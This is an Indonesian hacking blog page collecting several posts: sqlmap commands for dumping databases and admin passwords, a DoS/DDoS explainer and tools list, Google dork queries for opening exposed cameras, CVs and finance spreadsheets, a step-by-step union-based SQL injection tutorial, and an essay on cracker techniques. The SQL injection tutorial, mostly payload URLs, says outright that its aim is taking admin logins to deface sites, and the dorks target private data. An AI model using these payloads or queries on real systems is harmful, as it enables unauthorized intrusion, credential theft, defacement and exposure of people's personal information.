Headlines News :

S.O.S

Health

Health

Latest Post

Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan

Command Dan Penjelasan Sqlmap Pada Backtrack 5r3

Written By Sajak Kita on Kamis, 02 Mei 2013 | 19.24

Hai sobat Kelvin Blogger! apa kabar? moga baik selalu dah... wkwkwkwk
hari ini saya akan bagi ilmu pentest pada OS Backtrack 5r3, anda tau backtrack kan?
yaps, backtrack adalah distro linux yang sakti akan tools security dan pentesting nya...
disini saya akan bahas command pada Sqlmap di backtrack tersebut. langsung saja ya..

1. buka tools sqlmap dengan click "Application" sebelah gambar naga,
2. pilih BackTrack pada menunya, lalu pilih Exploitation Tools kemudian pilih Web Exploitation Tools dan cari sqlmap
3. Command nya seperti ini :

# 1. ./sqlmap.py -u "target" --current-db
# 2. ./sqlmap.py -u "target" -D "database" --tables
# 3. ./sqlmap.py -u "target" -D "database" -T "table" --columns
# 4. ./sqlmap.py -u "target" -D "database" -T "table" -C "columns"
# 5. ./sqlmap.py -u "target" -D "database" -T "table" -C "field" --dump

Penjelasan : tanda kutip itu dipakai untuk semua command. apa itu target? itu adalah URL dimana anda sudah menemukan target web yang ada vuln (celah) nya. setelah anda inject, mungkin anda menemukan beberapa database seperti admin, information_schema, dll. setelah menemukan database, anda langsung jalankan command nomor 2 diatas untuk mencari tables apa yang ada di database yang kalian temukan. lanjut ke command nomor 3 untuk mencari kolom pada tables yang anda temukan . lanjut ke command nomor 4, digunakan untuk mencari isi kolom pada tables yang anda temukan. semisal anda mau mencari isi dari 2 columns yang kalian temukan, anda bisa tulis dengan tanda koma ( , ) misalnya " username,password " tanpa tanda kutip dengan command nomor 5, dan apa itu field? field adalah isi dari kolom yang anda pilih untuk dicari username password admin yang anda cari. setelah ketemu username dan password admin langsung login aja deh :D
ingat! kebanyakan password yang ditemukan harus di crack/decrypt terlebih dahulu, dan kita harus mengetahui apakah Hash yang terdapat di password tersebut.

sekian dulu sobat, kapan - kapan saya share lagi deh....
semoga ilmu ini bermanfaat dan digunakan untuk hal yang bermanfaat juga :D

#Regards : ChelvinCesio



Seputar Tentang DDoS

Written By Sajak Kita on Rabu, 22 Agustus 2012 | 21.38

Serangan DoS (bahasa Inggris: denial-of-service attacks') adalah jenis serangan terhadap sebuah komputer atau server di dalam jaringan internet dengan cara menghabiskan sumber (resource) yang dimiliki oleh komputer tersebut sampai komputer tersebut tidak dapat menjalankan fungsinya dengan benar sehingga secara tidak langsung mencegah pengguna lain untuk memperoleh akses layanan dari komputer yang diserang tersebut.
Dalam sebuah serangan Denial of Service, si penyerang akan mencoba untuk mencegah akses seorang pengguna terhadap sistem atau jaringan dengan menggunakan beberapa cara, yakni sebagai berikut:
  • Membanjiri lalu lintas jaringan dengan banyak data sehingga lalu lintas jaringan yang datang dari pengguna yang terdaftar menjadi tidak dapat masuk ke dalam sistem jaringan. Teknik ini disebut sebagai traffic flooding.
  • Membanjiri jaringan dengan banyak request terhadap sebuah layanan jaringan yang disedakan oleh sebuah host sehingga request yang datang dari pengguna terdaftar tidak dapat dilayani oleh layanan tersebut. Teknik ini disebut sebagai request flooding.
  • Mengganggu komunikasi antara sebuah host dan kliennya yang terdaftar dengan menggunakan banyak cara, termasuk dengan mengubah informasi konfigurasi sistem atau bahkan perusakan fisik terhadap komponen dan server.
Bentuk serangan Denial of Service awal adalah serangan SYN Flooding Attack, yang pertama kali muncul pada tahun 1996 dan mengeksploitasi terhadap kelemahan yang terdapat di dalam protokol Transmission Control Protocol (TCP). Serangan-serangan lainnya akhirnya dikembangkan untuk mengeksploitasi kelemahan yang terdapat di dalam sistem operasi, layanan jaringan atau aplikasi untuk menjadikan sistem, layanan jaringan, atau aplikasi tersebut tidak dapat melayani pengguna, atau bahkan mengalami crash. Beberapa tool yang digunakan untuk melakukan serangan DoS pun banyak dikembangkan setelah itu (bahkan beberapa tool dapat diperoleh secara bebas), termasuk di antaranya Bonk, LAND, Smurf, Snork, WinNuke, dan Teardrop.
Meskipun demikian, serangan terhadap TCP merupakan serangan DoS yang sering dilakukan. Hal ini disebabkan karena jenis serangan lainnya (seperti halnya memenuhi ruangan hard disk dalam sistem, mengunci salah seorang akun pengguna yang valid, atau memodifikasi tabel routing dalam sebuah router) membutuhkan penetrasi jaringan terlebih dahulu, yang kemungkinan penetrasinya kecil, apalagi jika sistem jaringan tersebut telah diperkuat.
Percobaan serangan Denial of Service yang dilakukan terhadap sebuah host dengan sistem operasi Windows Server 2003 Service Pack 2 (Beta).

Penolakan Layanan secara Terdistribusi (DDos)

Cara kerja serangan Distributed Denial of Service sederhana
Penolakan Layanan secara Terdistribusi (bahasa Inggris: Distributed Denial of Service (DDos)) adalah salah satu jenis serangan Denial of Service yang menggunakan banyak host penyerang (baik itu menggunakan komputer yang didedikasikan untuk melakukan penyerangan atau komputer yang "dipaksa" menjadi zombie) untuk menyerang satu buah host target dalam sebuah jaringan.
Serangan Denial of Service klasik bersifat "satu lawan satu", sehingga dibutuhkan sebuah host yang kuat (baik itu dari kekuatan pemrosesan atau sistem operasinya) demi membanjiri lalu lintas host target sehingga mencegah klien yang valid untuk mengakses layanan jaringan pada server yang dijadikan target serangan. Serangan DDoS ini menggunakan teknik yang lebih canggih dibandingkan dengan serangan Denial of Service yang klasik, yakni dengan meningkatkan serangan beberapa kali dengan menggunakan beberapa buah komputer sekaligus, sehingga dapat mengakibatkan server atau keseluruhan segmen jaringan dapat menjadi "tidak berguna sama sekali" bagi klien.
Serangan DDoS pertama kali muncul pada tahun 1999, tiga tahun setelah serangan Denial of Service yang klasik muncul, dengan menggunakan serangan SYN Flooding, yang mengakibatkan beberapa server web di Internet mengalami "downtime". Pada awal Februari 2000, sebuah serangan yang besar dilakukan sehingga beberapa situs web terkenal seperti Amazon, CNN, eBay, dan Yahoo! mengalami "downtime" selama beberapa jam. Serangan yang lebih baru lagi pernah dilancarkan pada bulan Oktober 2002 ketika 9 dari 13 root DNS Server diserang dengan menggunakan DDoS yang sangat besar yang disebut dengan "Ping Flood". Pada puncak serangan, beberapa server tersebut pada tiap detiknya mendapatkan lebih dari 150.000 request paket Internet Control Message Protocol (ICMP). Untungnya, karena serangan hanya dilakukan selama setengah jam saja, lalu lintas Internet pun tidak terlalu terpengaruh dengan serangan tersebut (setidaknya tidak semuanya mengalami kerusakan).
Tidak seperti akibatnya yang menjadi suatu kerumitan yang sangat tinggi (bagi para administrator jaringan dan server yang melakukan perbaikan server akibat dari serangan), teori dan praktik untuk melakukan serangan DDoS justru sederhana, yakni sebagai berikut:
  1. Menjalankan tool (biasanya berupa program (perangkat lunak) kecil) yang secara otomatis akan memindai jaringan untuk menemukan host-host yang rentan (vulnerable) yang terkoneksi ke Internet. Setelah host yang rentan ditemukan, tool tersebut dapat menginstalasikan salah satu jenis dari Trojan Horse yang disebut sebagai DDoS Trojan, yang akan mengakibatkan host tersebut menjadi zombie yang dapat dikontrol secara jarak jauh (bahasa Inggris: remote) oleh sebuah komputer master yang digunakan oleh si penyerang asli untuk melancarkan serangan. Beberapa tool (software} yang digunakan untuk melakukan serangan serperti ini adalah TFN, TFN2K, Trinoo, dan Stacheldraht, yang dapat diunduh secara bebas di Internet.
  2. Ketika si penyerang merasa telah mendapatkan jumlah host yang cukup (sebagai zombie) untuk melakukan penyerangan, penyerang akan menggunakan komputer master untuk memberikan sinyal penyerangan terhadap jaringan target atau host target. Serangan ini umumnya dilakukan dengan menggunakan beberapa bentuk SYN Flood atau skema serangan DoS yang sederhana, tapi karena dilakukan oleh banyak host zombie, maka jumlah lalu lintas jaringan yang diciptakan oleh mereka adalah sangat besar, sehingga "memakan habis" semua sumber daya Transmission Control Protocol yang terdapat di dalam komputer atau jaringan target dan dapat mengakibatkan host atau jaringan tersebut mengalami "downtime".
Hampir semua platform komputer dapat dibajak sebagai sebuah zombie untuk melakukan serangan seperti ini. Sistem-sistem populer, semacam Solaris, Linux, Microsoft Windows dan beberapa varian UNIX dapat menjadi zombie, jika memang sistem tersebut atau aplikasi yang berjalan di atasnya memiliki kelemahan yang dieksploitasi oleh penyerang.
Beberapa contoh Serangan DoS lainnya adalah:

TOP 10 DOS ATTACK TOOLS

Written By Sajak Kita on Rabu, 08 Agustus 2012 | 05.32

Top 10 DOS Attack Tools


List Of Top 10 DOS Attack Tools :
1.    Jolt2
2.    Bubonic.c
3.    Land and Latierra
4.    Targa
5.    Blast 2 0
6.    Nemesy
7.    Panther 2
8.    Crazy Pinger
9.    Some Trouble
10.    UDP Flood

Security Camera Hacking Using GOOGLE

Google serves almost 80 percent of all search queries on the Internet, proving itself as the most popular search engine. However Google makes it possible to reach not only the publicly available information resources.
But also gives access to some of the most confidential information that should never have been revealed. In this post I will show how to use Google for exploiting security vulnerabilities within websites. The following are some of the hacks that can be accomplished using Google. 

1. Hacking Security Cameras

There exists many security cameras used for monitoring places like parking lots, college campus, road traffic etc. which can be hacked using Google so that you can view the images captured by those cameras in real time. All you have to do is use the following search query in Google. Type in Google search box exactly as follows and hit enter

inurl:”viewerframe?mode=motion”
Click on any of the search results (Top 5 recommended) and you will gain access to the live camera which has full controls. You will see something as follows


As you can see in the above screenshot, you now have access to the Live cameras which work in real-time. You can also move the cameras in all the four directions, perform actions such as zoom in and zoom out. This camera has really a less refresh rate. But there are other search queries through which you can gain access to other cameras which have faster refresh rates. So to access them just use the following search query.

intitle:”Live View / – AXIS”
Click on any of the search results to access a different set of live cameras. Thus you have hacked Security Cameras using Google.

2. Hacking Personal and Confidential Documents

Using Google it is possible to gain access to an email repository containing CV of hundreds of people which were created when applying for their jobs. The documents containing their Address, Phone, DOB, Education, Work experience etc. can be found just in seconds.

intitle:”curriculum vitae” “phone * * *” “address *” “e-mail”
You can gain access to a list of .xls (excel documents) which contain contact details including email addresses of large group of people. To do so type the following search query and hit enter.


filetype:xls inurl:”email.xls”
Also it’s possible to gain access to documents potentially containing information on bank accounts, financial summaries and credit card numbers using the following search query


intitle:index.of finances.xls

3. Hacking Google to gain access to Free Stuffs
Ever wondered how to hack Google for free music or ebooks. Well here is a way to do that. To download free music just enter the following query on google search box and hit enter.


“?intitle:index.of?mp3 eminem“
Now you’ll gain access to the whole index of eminem album where in you can download the songs of your choice. Instead of eminem you can subtitute the name of your favorite album. To search for the ebooks all you have to do is replace “eminem” with your favorite book name. Also replace “mp3″ with “pdf” or “zip” or “rar”.
I hope you enjoy this post. Pass your comments. Cheers!

SQL INJECTION TUTORIAL

SQL injection tutorial
SQL Injection

Hi, this thread covers all your basic SQL Injection needs. After reading this, you should be able to successfully retrieve Database information such as the username and password that are crucial for defacing sites.

Lets start.

What is SQL Injection?
is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
Source

Step 1: Choose Your Target:
Of course, you can't SQL Inject nothing. You must have a website as a target. Remember, only vulnerabl sites are able to be injected into. You can't just SQL Inject any site *sigh*.

So how do we see which sites are vulnerable? There are many lists of vulnerable sites out there. But if you wish to find them manually, read on.
Dorks 
Wtf is this? These are "Dorks" that you can use to find vulnerable sites. Go to Google and simply copy and paste one of those dorks and click search.

I personally recommend going here (scanner seems to be down) to see which sites are vulnerable, but if you wish to do THAT manually also, read on. If not, skip to Step 2.

After you have Googled the dorks, click on any site.

To check the site for vulnerability, simply add a "'" to the end of the URL (without the quotes). It should look somewhat like this:

Code:
http://www.sitename.com/main.php?id=232'

If the page simply refreshes, the site is not vulnerable. But if an error of any kind pops up, the site is prone to SQLi. When you have successfully found a vulnerable site, proceed to Step 2.

Step 2: Find the Vulnerable Column 
Now that we found our vulnerable site, we will need to find the vulnerable columns.

Add this to the end of the URL:

Code:
http://www.sitename.com/main.php?id=232 order by 1--

Now here's where it gets tougher (not really). You have to look for errors as you enter new numbers. For example:

Code:
http://www.sitename.com/main.php?id=232 order by 1-- (no error)
http://www.sitename.com/main.php?id=232 order by 2-- (no error)
http://www.sitename.com/main.php?id=232 order by 10-- (ERROR!)
http://www.sitename.com/main.php?id=232 order by 5-- (no error)
http://www.sitename.com/main.php?id=232 order by 6-- (ERROR!)

The goal here is to find the least column the shows the error. As you can see in the example, the lowest column that we found an error on is column 6, therefore, column 6 doesn't exist and there are only 5 columns.

Now we have to find which one of these five columns (it may be different in your case) is vulnerable, to do that, add this code to the end of the URL:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,4,5--

Make sure to include the - in the beginning and the -- at the end, this is crucial. Remember that the code above may be different in your case regarding how many columns there are.

Now, if you see numbers on the screen. You can proceed. The very first number is the number of the vulnerable column. If the number is "4" that means that the 4th column is the vulnerable column.
Step 3: Obtain Version Number and Database Name
That vulnerable column is the ONLY column that we will be editing.

Assuming that the vulnerable column is 4 (it may be different in your case), proceed to find the version number. To find the version number, replace the vulnerable column with "@@version" like this:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,@@version,5--

If the version is 5 or above, proceed. If not, it will be harder to hack. There are other tutorials covering how to hack database versions 4 or lower.

Now we must find the database name. To do this, replace the "@@version" from before with "concat(database())" like this:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,concat(database()),5--

And BOOM! The database name should appear on your screen. Copy this somewhere safe, we will need this for later.
Step 4: Obtain Table Names 

We are almost done, don't give up just yet.

Now we have to find the table names. This is crucial because the tables contain all of the information that we may need. Some hackers look for credit card information and e-mail adresses, but in this tutorial we will be looking to retrieve the username and password in order to deface the site.

Edit the code as follows:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=database()--

Now, names appear. Look for obvious names hinting to tables where user information can be stored. You are looking for table names such as "Admin", "Users", "Members", "Admin_Id", Admin_pass", "User_id", etc..

The last character is chopped off? Don't worry. Count how many tables you can see, then add this code based on the tables that you can see. We will be assuming that the last table you can see is the 8th table.

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,table_name,5 from information_schema.tables where table_schema=database() limit 8,1--

This code is to view the 9th table. Replace the 8 with a 9 to view the 10th table, and so on until you find the table that you think has the most crucial information.

When you find the table, copy the name somewhere safe. We will need both the database and table names for the next step.

For this tutorial, we will be using the table name of "admin".
Step 5: View the Columns, and Find the Crucial Shit
Here comes the fun part :3

To find the column names, add this to the end of the URL:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name="admin"--

Didju get an error? OH NO! YOU FAIL. Choose another site. Just kidding.
Go here and type in your table name where is says "Say Hello to My Little Friend".

In my case, this is the string that I got after I inputted "admin" to the input space:

Code:
61646d696e

Now, replace the table name with hex as so:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name=0x61646d696e--

Notice how I added the "0x", that is to indicate that hex is being used. Remember to get rid of the quotes.

Now after you enter this code, you should see where all the juicy information is contained. An example of what you should see is:

Code:
Admin_Username, Admin_Pass, Admin_credentials, User_credentials, Members, etc..

Now say you want to view what is in the "Admin_Username" and the "Admin_pass", add this code (in this example we will be using "database" as the database name and "admin" for the table name):

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(Admin_Username,0x3a,Admin_Pass),5 FROM database.admin--

The "0x3a" will put a colon to where the information will be separated. You should get something like this:

Code:
1:MyName:e10adc3949ba59abbe56e057f20f883e

The username is "MyName" and the password is.. WAIT! That is MD5, crack this using Havij. Download Havij here.

Now as you can see. This is the login info:

Code:
Username: MyName
Pass: 123456

Now all you have to do is find the admin page, which is usually
Code:
http://www.sitename.com/admin
http://www.sitename.com/adminlogin
http://www.sitename.com/admin_login
http://www.sitename.com/login
or something similar. There are tools online that will find you the admin page.

Belajar Jadi Hacker Pemula

Written By Sajak Kita on Senin, 06 Juni 2011 | 04.09

Hacker dengan keahliannya dapat melihat & memperbaiki kelemahan perangkat lunak di komputer; biasanya kemudian di publikasikan secara terbuka di Internet agar sistem menjadi lebih baik. Sialnya, segelintir manusia berhati jahat menggunakan informasi tersebut untuk kejahatan – mereka biasanya disebut cracker. Pada dasarnya dunia hacker & cracker tidak berbeda dengan dunia seni, disini kita berbicara seni keamanan jaringan Internet.

Saya berharap ilmu keamanan jaringan di tulisan ini digunakan untuk hal-hal yang baik – jadilah Hacker bukan Cracker. Jangan sampai anda terkena karma karena menggunakan ilmu untuk merusak milik orang lain. Apalagi, pada saat ini kebutuhan akan hacker semakin bertambah di Indonesia dengan semakin banyak dotcommers yang ingin IPO di berbagai bursa saham. Nama baik & nilai sebuah dotcom bisa jatuh bahkan menjadi tidak berharga jika dotcom di bobol. Dalam kondisi ini, para hacker di harapkan bisa menjadi konsultan keamanan bagi para dotcommers tersebut – karena SDM pihak kepolisian & aparat keamanan Indonesia amat sangat lemah & menyedihkan di bidang Teknologi Informasi & Internet. Apa boleh buat cybersquad, cyberpatrol swasta barangkali perlu di budayakan untuk survival dotcommers Indonesia di Internet.

Berbagai teknik keamanan jaringan Internet dapat di peroleh secara mudah di Internet antara lain di : 
http://www.sans.org 
http://www.rootshell.com 
http://www.linuxfirewall.org/ 
http://www.linuxdoc.org
http://www.cerias.purdue.edu/coast/firewalls/
http://www.redhat.com/mirrors/LDP/HOWTO/

Sebagian dari teknik ini berupa buku-buku yang jumlah-nya beberapa ratus halaman yang dapat di ambil secara cuma-cuma (gratis). Beberapa Frequently Asked Questions (FAQ) tentang keamanan jaringan bisa diperoleh di :
http://www.iss.net/vd/mail.html
http://www.v-one.com/documents/fw-faq.htm

Dan bagi para experimenter beberapa script / program yang sudah jadi dapat diperoleh antara lain di : 
http://bastille-linux.sourceforge.net/ 
http://www.redhat.com/support/docs/tips/firewall/firewallservice.html

Bagi pembaca yang ingin memperoleh ilmu tentang jaringan dapat di download secara cuma-cuma dari : 
http://pandu.dhs.org 
http://www.bogor.net/idkf/ 
http://louis.idaman.com/idkf 

Beberapa buku berbentuk softcopy yang dapat di ambil gratis dapat di ambil dari 
http://pandu.dhs.org/Buku-Online/ . Kita harus berterima kasih terutama kepada team Pandu yang dimotori oleh I Made Wiryana untuk ini. Pada saat ini, saya tidak terlalu tahu adanya tempat diskusi Indonesia yang aktif membahas teknik-teknik hacking ini – tetapi mungkin bisa sebagian di diskusikan di mailing list lanjut seperti kursus-linux@yahoogroups.com & linux-admin@linux.or.id yang di operasikan oleh Kelompok Pengguna Linux Indonesia (KPLI) http://www.kpli.or.id

Cara paling sederhana untuk melihat kelemahan sistem adalah dengan cara mencari informasi dari berbagai vendor misalnya di 
http://www.sans.org/newlook/publications/roadmap.htm#3b tentang kelemahan dari sistem yang mereka buat sendiri. Di samping, memonitoring berbagai mailing list di Internet yang berkaitan dengan keamanan jaringan seperti dalam daftar http://www.sans.org/newlook/publications/roadmap.htm#3e

Dijelaskan oleh Front-line Information Security Team, “Techniques Adopted By ‘System Crackers’ When Attempting To Break Into Corporate or Sensitive Private Networks,â€
 fist@ns2.co.uk 
http://www.ns2.co.uk . Seorang Cracker umumnya pria usia 16-25 tahun. Berdasarkan statistik pengguna Internet di Indonesia maka sebetulnya mayoritas pengguna Internet di Indonesia adalah anak-anak muda pada usia ini juga. Memang usia ini adalah usia yang sangat ideal dalam menimba ilmu baru termasuk ilmu Internet, sangat disayangkan jika kita tidak berhasil menginternetkan ke 25000 sekolah Indonesia – karena tumpuan hari depan bangsa Indonesia berada di tangan anak-anak muda kita ini.

Nah, para cracker muda ini umumnya melakukan cracking untuk meningkatkan kemampuan / menggunakan sumber daya di jaringan untuk kepentingan sendiri. Umumnya para cracker adalah opportunis. Melihat kelemahan sistem dengan mejalankan program scanner. Setelah memperoleh akses root, cracker akan menginstall pintu belakang (backdoor) dan menutup semua kelemahan umum yang ada.

Seperti kita tahu, umumnya berbagai perusahaan / dotcommers akan menggunakan Internet untuk (1) hosting web server mereka, (2) komunikasi e-mail dan (3) memberikan akses web / internet kepada karyawan-nya. Pemisahan jaringan Internet dan IntraNet umumnya dilakukan dengan menggunakan teknik / software Firewall dan Proxy server. Melihat kondisi penggunaan di atas, kelemahan sistem umumnya dapat di tembus misalnya dengan menembus mailserver external / luar yang digunakan untuk memudahkan akses ke mail keluar dari perusahaan. Selain itu, dengan menggunakan agressive-SNMP scanner & program yang memaksa SNMP community string dapat mengubah sebuah router menjadi bridge (jembatan) yang kemudian dapat digunakan untuk batu loncatan untuk masuk ke dalam jaringan internal perusahaan (IntraNet).

Agar cracker terlindungi pada saat melakukan serangan, teknik cloacking (penyamaran) dilakukan dengan cara melompat dari mesin yang sebelumnya telah di compromised (ditaklukan) melalui program telnet atau rsh. Pada mesin perantara yang menggunakan Windows serangan dapat dilakukan dengan melompat dari program Wingate. Selain itu, melompat dapat dilakukan melalui perangkat proxy yang konfigurasinya kurang baik.

Setelah berhasil melompat dan memasuki sistem lain, cracker biasanya melakukan probing terhadap jaringan dan mengumpulkan informasi yang dibutuhkan. Hal ini dilakukan dengan beberapa cara, misalnya (1) menggunakan nslookup untuk menjalankan perintah ‘ls ’ , (2) melihat file HTML di webserver anda untuk mengidentifikasi mesin lainnya, (3) melihat berbagai dokumen di FTP server, (4) menghubungkan diri ke mail server dan menggunakan perintah ‘expn ’, dan (5) mem-finger user di mesin-mesin eksternal lainnya.

Langkah selanjutnya, cracker akan mengidentifikasi komponen jaringan yang dipercaya oleh system apa saja. Komponen jaringan tersebut biasanya mesin administrator dan server yang biasanya di anggap paling aman di jaringan. Start dengan check akses & eksport NFS ke berbagai direktori yang kritis seperti /usr/bin, /etc dan /home. Eksploitasi mesin melalui kelemahan Common Gateway Interface (CGI), dengan akses ke file /etc/hosts.allow.

Selanjutnya cracker harus mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan. Cracker bisa mengunakan program di Linux seperti ADMhack, mscan, nmap dan banyak scanner kecil lainnya. Program seperti ‘ps’ & ‘netstat’ di buat trojan (ingat cerita kuda troya? dalam cerita klasik yunani kuno) untuk menyembunyikan proses scanning. Bagi cracker yang cukup advanced dapat mengunakan aggressive-SNMP scanning untuk men-scan peralatan dengan SNMP.

Setelah cracker berhasil mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan, maka cracker akan menjalan program untuk menaklukan program daemon yang lemah di server. Program daemon adalah program di server yang biasanya berjalan di belakang layar (sebagai daemon / setan). Keberhasilan menaklukan program daemon ini akan memungkinkan seorang Cracker untuk memperoleh akses sebagai ‘root’ (administrator tertinggi di server).

Untuk menghilangkan jejak, seorang cracker biasanya melakukan operasi pembersihan ‘clean-up’ operation dengan cara membersihkan berbagai log file. Dan menambahkan program untuk masuk dari pintu belakang ‘backdooring’. Mengganti file .rhosts di /usr/bin untuk memudahkan akses ke mesin yang di taklukan melalui rsh & csh.

Selanjutnya seorang cracker dapat menggunakan mesin yang sudah ditaklukan untuk kepentingannya sendiri, misalnya mengambil informasi sensitif yang seharusnya tidak dibacanya; mengcracking mesin lain dengan melompat dari mesin yang di taklukan; memasang sniffer untuk melihat / mencatat berbagai trafik / komunikasi yang lewat; bahkan bisa mematikan sistem / jaringan dengan cara menjalankan perintah ‘rm -rf / &’. Yang terakhir akan sangat fatal akibatnya karena sistem akan hancur sama sekali, terutama jika semua software di letakan di harddisk. Proses re-install seluruh sistem harus di lakukan, akan memusingkan jika hal ini dilakukan di mesin-mesin yang menjalankan misi kritis.

Oleh karena itu semua mesin & router yang menjalankan misi kritis sebaiknya selalu di periksa keamanannya & di patch oleh software yang lebih baru. Backup menjadi penting sekali terutama pada mesin-mesin yang menjalankan misi kritis supaya terselamatkan dari ulah cracker yang men-disable sistem dengan ‘rm -rf / &’.

Bagi kita yang sehari-hari bergelut di Internet biasanya justru akan sangat menghargai keberadaan para hacker (bukan Cracker). Karena berkat para hacker-lah Internet ada dan dapat kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik lagi. Berbagai kelemahan sistem di perbaiki karena kepandaian rekan-rekan hacker yang sering kali mengerjakan perbaikan tsb. secara sukarela karena hobby-nya. Apalagi seringkali hasil hacking-nya di sebarkan secara cuma-cuma di Internet untuk keperluan masyarakat Internet. Sebuah nilai & budaya gotong royong yang mulia justru tumbuh di dunia maya Internet yang biasanya terkesan futuristik dan jauh dari rasa sosial.

Pengembangan para hobbiest hacker ini menjadi penting sekali untuk keberlangsungan / survival dotcommers di wahana Internet Indonesia. Sebagai salah satu bentuk nyatanya, dalam waktu dekat Insya Allah sekitar pertengahan April 2001 akan di adakan hacking competition di Internet untuk membobol sebuah server yang telah di tentukan terlebih dahulu. Hacking competition tersebut di motori oleh anak-anak muda di Kelompok Pengguna Linux Indonesia (KPLI) Semarang yang digerakan oleh anak muda seperti Kresno Aji (masaji@telkom.net), Agus Hartanto (hartx@writeme.com) & Lekso Budi Handoko (handoko@riset.dinus.ac.id). Seperti umumnya anak-anak muda lainnya, mereka umumnya bermodal cekak – bantuan & sponsor tentunya akan sangat bermanfaat dan dinantikan oleh rekan-rekan muda ini.

Mudah-mudahan semua ini akan menambah semangat pembaca, khususnya pembaca muda, untuk bergerak di dunia hacker yang mengasyikan dan menantang. Kalau kata Captain Jean Luc Picard di Film Startrek Next Generation, “To boldly go where no one has gone beforeâ€
.

Protected By Copyscape

Protected by Copyscape Duplicate Content Penalty Protection
 
█║▌│█│║▌║││█║▌│║▌║█║║▌
Cyber4rt 2012 | SomeRight Reserved Copyright © 2011. Kelvin Blogger - All Rights Reserved
Template Modified by Kelvin Blogger | Chelvin Cesio